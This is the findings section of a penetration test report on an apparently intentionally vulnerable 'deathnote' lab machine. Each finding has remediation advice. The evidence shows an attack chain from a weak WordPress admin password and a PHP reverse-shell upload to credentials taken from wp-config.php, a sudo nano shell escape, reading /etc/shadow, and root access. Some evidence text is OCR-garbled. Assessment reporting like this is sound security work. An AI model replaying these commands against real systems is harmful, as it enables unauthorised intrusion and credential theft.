

## **Technical Findings**


## **Internal Penetration Assessment Findings**

Finding IPA-001: Information Disclosure (Medium)

Description: The "robots.txt" file disclosed sensitive information that led to the enumeration of an administrator account.

Risk: Sensitive information being disclosed on the robots.txt file.


Evidence:



Finding IPA-002: Information Disclosure/Leakage (Medium-high)

Description: The file being hosted in the page contains a hidden message disclosing that a username can be found in the "user.txt" file.

Risk: Sensitive information is being disclosed to anyone with access to this site. It is important to maintain regular checks for sensitive files, or any improper files being hosted on the server.






Finding IPA-003: Information Disclosure (Medium-high)

Description: The website is hosting sensitive files, and making it publicly available. Bigs.S was able to access the "user.txt" file which was used to enumerate, and access the administrator account.

Risk: It is against security best measures to publicly host files that contain potential usernames.

Evidence:




Finding IPA-004: Response Discrepancy Information Exposure (High-critical) Description: The website is vulnerable to username enumeration due to distinct error messages returned during login-related processes. This excessive verbose



error message allowed Bigs.S to enumerate the administrator account username, and eventually get access to that account.

Risk: Discrepancy on error messages on login pages allows attackers to enumerate usernames.






Finding IPA-005: Weak Password Requirements (High-critical)

Description: The website allows users to use weak passwords. Bigs.S was able to guess the password based on the information disclosed on the website. The password "iamjustic3" is not a well enforced password. Although it is not listed in the famous rockyou database, it is directly connected to the main theme of the website.

Risk: Weak password requirements allow attackers to easily brute force credentials. Administrator's account password should be at least 18 characters long containing at least: one upper case letter, one lower case letter, one number, and one special character. Passwords need to be updated every 3 months at a minimum. Evidence:




Finding IPA-006: Insecure File Upload (Critical)


Description: The 'Upload Theme' file function fails to properly validate and process uploaded files, allowing unauthorized files to be stored on the server. Using the compromised administrator account 'kira,' Bigs.S was able to successfully upload and execute three malicious PHP files, gaining initial access to the server which led to the compromise of the domain (php-reverse-shell.php, proof-of-concept.php, proof-of-concept2.php).

Risk: Allowing administrators or any user to upload malicious files to the server is highly insecure. All the files uploaded to the server must be properly validated. Evidence:











Finding IPA-007: Improper Privilege Management (High-critical)

Description: Bigs.S was able to retrieve credentials for a second local account from the "/wp-config.php" configuration file, allowing for lateral movement in the environment that led to the ultimate compromise of the domain.

Risk: Using local accounts to set up services can potentially lead to privilege escalation. Use a dedicated service account with only the necessary permissions. Evidence:

```
Analyzing Wordpress Files (limit 70)

-rwxrwxr-x 1 www-data www-data 3097 Jul 19 2021 /var/www/deathnote.vuln/wordpress/wp-config.php

define( 'DB_NAME', 'wordpress' );

define( 'DB_PASSNORD', 'death4me' );

define( 'DB_PASSNORD', 'death4me' );

define( 'DB_NOST', 'localhost' );


$ su l
Password: death4me
whoami
l
hostname
deathnote
id
uid=1000(l) gid=1000(l) groups=1000(l),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
```

Finding IPA-008: Exposure of Sensitive Information to an Unauthorized Actor (High)

Description: The account breached, l, had access to sensitive information. Using that account, Bigs.S was able to access the "/opt/L/fake-notebook-rule/case.wave" file that had the HEX values with the credentials for kira's account.

Risk: It is against security best practices to leave sensitive files in the server as that could lead to privilege escalation. Regular security audits and file integrity checks should be conducted on the server to ensure that no unauthorized, improperly stored, or sensitive files exist. This proactive approach helps prevent potential privilege escalation, information disclosure, or other security vulnerabilities that could be exploited by attackers.







```
-(kali®kali)-[~/Desktop/Assessment-Findings/deathnote-assessment]
_$ ssh kira@10.0.2.15
kira@10.0.2.15's password:
Linux deathnote 4.19.0-17-amd64 #1 SMP Debian 4.19.194-2 (2021-06-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Sep 4 06:00:09 2021 from 127.0.0.1
kira@deathnote:~$ whoami
kira
kira@deathnote:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
kira@deathnote:~$ pwd
/home/kira
kira@deathnote:~$ ls -la
total 32
drwxr-xr-x 4 kira kira 4096 Sep 4 2021 .
drwxr-xr-x 4 root root 4096 Jul 19 2021 .
drwxr-xr-x 2 kira kira 4096 Jul 19 2021 .ssh
kira@deathnote:~$ cat kira.txt
cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp
```

Finding IPA-009: Execution with Unnecessary Privileges (Critical)

Description: The breached account, kira, had excessive privileges beyond what is necessary which allowed Bigs.S to escalate privileges to a root account by leveraging sudo privileges in the nano command. Bigs.S was also able to crack the root password with much ease.

Risk: It is a full system compromise. A user with unrestricted sudo access can execute any command as root. In this case, it would not even be necessary to compromise the root account, as kira already has full access to the system.

```
kira@deathnote:/var/log$ sudo -l
[sudo] password for kira:
Matching Defaults entries for kira on deathnote:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin

User kira may run the following commands on deathnote:
    (ALL : ALL) ALL
kira@deathnote:/var/log$
```



```
### Command to execute: reset; bash 15e0 25e0 protadeathnote:/var/log is alternatives.log auth.log btmp.1 debugBuffer dpkg.log.1 kern.log.1 messages.1Rea syslog syslog.4.gz alternatives.log.1 auth.log.1 debug.lext faillog kern.log.2.gz debug.lext faillog kern.log.2.gz debug.lext faillog messages.2.gz syslog.3.gz wtmp rootadeathnote:/var/log whoman debug.2.gz installer lastlog mysl syslog.2.gz syslog.6.gz apt contadeathnote:/var/log bostname deathnote rootadeathnote:/var/log cat/etc/shadow root.5e5e17e4deaucht.com/sof-f8e27yhe0ZhVvVT5gKKLJ5RZWOelSDfLbVW3bLfKZVDGZNVnNdgEHcaXefMHYUW193LnR8TAYYL94Ab63ak1:18827:8:99999:7:::

#### sys:18827:8:99999:7:::
### sys:18827
```

```
l@deathnote:/opt/L/fake-notebook-rule$ su root
Password:
root@deathnote:/opt/L/fake-notebook-rule# whoami
root
root@deathnote:/opt/L/fake-notebook-rule# id
uid=0(root) gid=0(root) groups=0(root)
root@deathnote:/opt/L/fake-notebook-rule#
```